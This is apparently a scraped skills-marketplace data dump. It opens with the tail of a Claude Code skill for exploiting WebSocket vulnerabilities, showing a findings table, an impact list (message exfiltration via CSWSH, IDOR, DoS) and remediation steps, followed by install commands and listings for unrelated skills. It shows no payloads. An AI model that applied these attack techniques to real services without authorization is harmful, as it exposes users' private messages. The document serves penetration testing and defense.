Origin validation | High |\n| Missing message-level authorization | High |\n| XSS via chat message injection | Medium |\n| No rate limiting on messages | Medium |\n| Channel IDOR (subscribe to any channel) | High |\n| WebSocket open after logout | Medium |\n\n### Impact\n- Private message exfiltration via CSWSH\n- Account impersonation through unauthorized message sending\n- Cross-channel data access affecting all users\n- DoS via message flooding (no rate limits)\n\n### Recommendation\n1. Validate the Origin header during WebSocket handshake\n2. Implement CSRF tokens in the WebSocket upgrade request\n3. Enforce authorization checks on every WebSocket message\n4. Sanitize all user input in WebSocket messages (prevent XSS\u002FSQLi)\n5. Implement message rate limiting per connection\n6. Invalidate WebSocket connections on logout or session expiration\n7. Use per-message authentication tokens rather than relying solely on the initial handshake\n```\n",{"name":5,"tags":52,"author":56,"domain":45,"license":15,"version":57,"nist_csf":58,"subdomain":41,"description":7,"mitre_attack":63},[53,28,54,42,30,55],"penetration-testing","web-security","burpsuite","mahipal","1.0",[59,60,61,62],"PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01",[64,65,66,67,68],"T1190","T1059.007","T1505.003","T1083","T1055","main","7925716f065257435fdb12e97f7e52842147d5ad",".claude\u002Fskills\u002Fexploiting-websocket-vulnerabilities","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude","https:\u002F\u002Fclaude.com\u002Fclaude-code","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho","Software · Applied AI · Quantitative Modeling · Building with Claude.","2026-06-10 12:24:46",{"source":8,"skillName":5,"commands":78,"prompt":88,"zipAvailable":89},[79,82,85],{"tool":80,"command":81},"npx","npx skills add henriquescastilho\u002Fmy-claude --skill exploiting-websocket-vulnerabilities",{"tool":83,"command":84},"bunx","bunx skills add henriquescastilho\u002Fmy-claude --skill exploiting-websocket-vulnerabilities",{"tool":86,"command":87},"pnpm","pnpm dlx skills add henriquescastilho\u002Fmy-claude --skill exploiting-websocket-vulnerabilities","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fexploiting-websocket-vulnerabilities\u002FSKILL.md",true,[91,96,102],{"path":92,"resourceType":92,"resourceTypeDesc":93,"sizeBytes":94,"sourceHtmlUrl":95},"LICENSE","许可证",11255,"https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fexploiting-websocket-vulnerabilities\u002FLICENSE",{"path":97,"resourceType":98,"resourceTypeDesc":99,"sizeBytes":100,"sourceHtmlUrl":101},"references\u002Fapi-reference.md","REFERENCE","参考文档",2036,"https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fexploiting-websocket-vulnerabilities\u002Freferences\u002Fapi-reference.md",{"path":103,"resourceType":104,"resourceTypeDesc":105,"sizeBytes":106,"sourceHtmlUrl":107},"scripts\u002Fagent.py","SCRIPT","脚本",8467,"https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fexploiting-websocket-vulnerabilities\u002Fscripts\u002Fagent.py",[109,150,159,168,190,216],{"skillNo":110,"name":111,"nameZh":6,"description":112,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":113,"licenseFileUrl":6,"sourceHtmlUrl":114,"categories":115,"keywords":130,"publishedAt":47},"01M6F0B6XPQ65AX2X0DWK8KT3E","markitdown","Convert files and office documents to Markdown. Supports PDF, DOCX, PPTX, XLSX, images (with OCR), audio (with transcription), HTML, CSV, JSON, XML, ZIP, YouTube URLs, EPubs and more.","MIT","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.codex\u002Fvendor_imports\u002Fclaude\u002Fmarketplaces\u002Fclaude-scientific-writer\u002Fskills\u002Fmarkitdown\u002FSKILL.md",[116,119,122,125],{"categoryNo":117,"categoryName":118,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000002","文档处理",{"categoryNo":120,"categoryName":121,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000003","演示文稿",{"categoryNo":123,"categoryName":124,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000004","电子表格",{"categoryNo":126,"categoryName":127,"taxonomyType":128,"taxonomyTypeDesc":129},"01JBSEEDCAT000000000000034","行政与办公人员","PROFESSION","适用职业",[111,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149],"docx","PDF","pptx","xlsx","documents","csv","ocr","Audio","Bash","markdown","convert","read","write","edit","html","images","files","youtube","with",{"skillNo":151,"name":111,"nameZh":6,"description":112,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":113,"licenseFileUrl":6,"sourceHtmlUrl":152,"categories":153,"keywords":158,"publishedAt":47},"01M6F06SBHR9F0SDWE282Y8075","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.codex\u002Fvendor_imports\u002Fclaude\u002Fmarketplaces\u002Fclaude-scientific-writer\u002Fscientific_writer\u002F.claude\u002Fskills\u002Fmarkitdown\u002FSKILL.md",[154,155,156,157],{"categoryNo":117,"categoryName":118,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":120,"categoryName":121,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":123,"categoryName":124,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":126,"categoryName":127,"taxonomyType":128,"taxonomyTypeDesc":129},[111,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149],{"skillNo":160,"name":111,"nameZh":6,"description":112,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":113,"licenseFileUrl":6,"sourceHtmlUrl":161,"categories":162,"keywords":167,"publishedAt":47},"01M6F02D4R14EJAPBWVDF9J9VQ","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.codex\u002Fvendor_imports\u002Fclaude\u002Fmarketplaces\u002Fclaude-scientific-writer\u002F.claude\u002Fskills\u002Fmarkitdown\u002FSKILL.md",[163,164,165,166],{"categoryNo":117,"categoryName":118,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":120,"categoryName":121,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":123,"categoryName":124,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":126,"categoryName":127,"taxonomyType":128,"taxonomyTypeDesc":129},[111,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149],{"skillNo":169,"name":170,"nameZh":6,"description":171,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":113,"licenseFileUrl":6,"sourceHtmlUrl":172,"categories":173,"keywords":174,"publishedAt":47},"01M6F000KS6YB4MKS774G4R8ND","zarr-python","Chunked N-D arrays for cloud storage. Compressed arrays, parallel I\u002FO, S3\u002FGCS integration, NumPy\u002FDask\u002FXarray compatible, for large-scale scientific computing pipelines.","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.codex\u002Fvendor_imports\u002Fclaude\u002Fmarketplaces\u002Fclaude-scientific-skills\u002Fscientific-skills\u002Fzarr-python\u002FSKILL.md",[],[175,176,177,178,179,180,181,182,183,184,185,186,187,188,189],"python","zarr python","storage","integration","s3","gcs","cloud","dask","parallel","pipelines","arrays","numpy","scientific computing","scale","scientific",{"skillNo":191,"name":192,"nameZh":6,"description":193,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":113,"licenseFileUrl":6,"sourceHtmlUrl":194,"categories":195,"keywords":197,"publishedAt":47},"01M6EZZJWFXM1GR78KTW6J0DN8","what-if-oracle","Run structured What-If scenario analysis with multi-branch possibility exploration. Use this skill when the user asks speculative questions like \"what if...\", \"what would happen if...\", \"what are the possibilities\", \"explore scenarios\", \"scenario analysis\", \"possibility space\", \"what could go wrong\", \"best case \u002F worst case\", \"risk analysis\", \"contingency planning\", \"strategic options\", or any question about uncertain futures. Also trigger when the user faces a fork-in-the-road decision, wants to stress-test an idea, or needs to think through consequences before committing.","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.codex\u002Fvendor_imports\u002Fclaude\u002Fmarketplaces\u002Fclaude-scientific-skills\u002Fscientific-skills\u002Fwhat-if-oracle\u002FSKILL.md",[196],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[198,199,200,201,202,203,204,205,206,207,208,142,143,209,210,211,212,213,214,215],"oracle","what if oracle","go","run","ux","futures","analysis","explore","decision","branch","question","idea","exploration","options","stress-test","strategies","scenario","stress",{"skillNo":217,"name":218,"nameZh":6,"description":219,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":113,"licenseFileUrl":6,"sourceHtmlUrl":220,"categories":221,"keywords":232,"publishedAt":47},"01M6EZZCXAEB49RXGQCJX5E8GB","venue-templates","Access comprehensive LaTeX templates, formatting requirements, and submission guidelines for major scientific publication venues (Nature, Science, PLOS, IEEE, ACM), academic conferences (NeurIPS, ICML, CVPR, CHI), research posters, and grant proposals (NSF, NIH, DOE, DARPA). This skill should be used when preparing manuscripts for journal submission, conference papers, research posters, or grant proposals and need venue-specific formatting requirements and templates.","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.codex\u002Fvendor_imports\u002Fclaude\u002Fmarketplaces\u002Fclaude-scientific-skills\u002Fscientific-skills\u002Fvenue-templates\u002FSKILL.md",[222,225,228,229],{"categoryNo":223,"categoryName":224,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000018","写作与文案",{"categoryNo":226,"categoryName":227,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000021","资料检索与研究",{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":230,"categoryName":231,"taxonomyType":128,"taxonomyTypeDesc":129},"01JBSEEDCAT000000000000036","内容创作者",[233,234,235,236,237,238,239,240,139,241,142,143,144,242,243,244,245,246,189,247],"templates","venue templates","research","guidelines","NeurIPS","ICML","LaTeX","science","access","proposals","Academic","requirements","formatting","journal","chi"]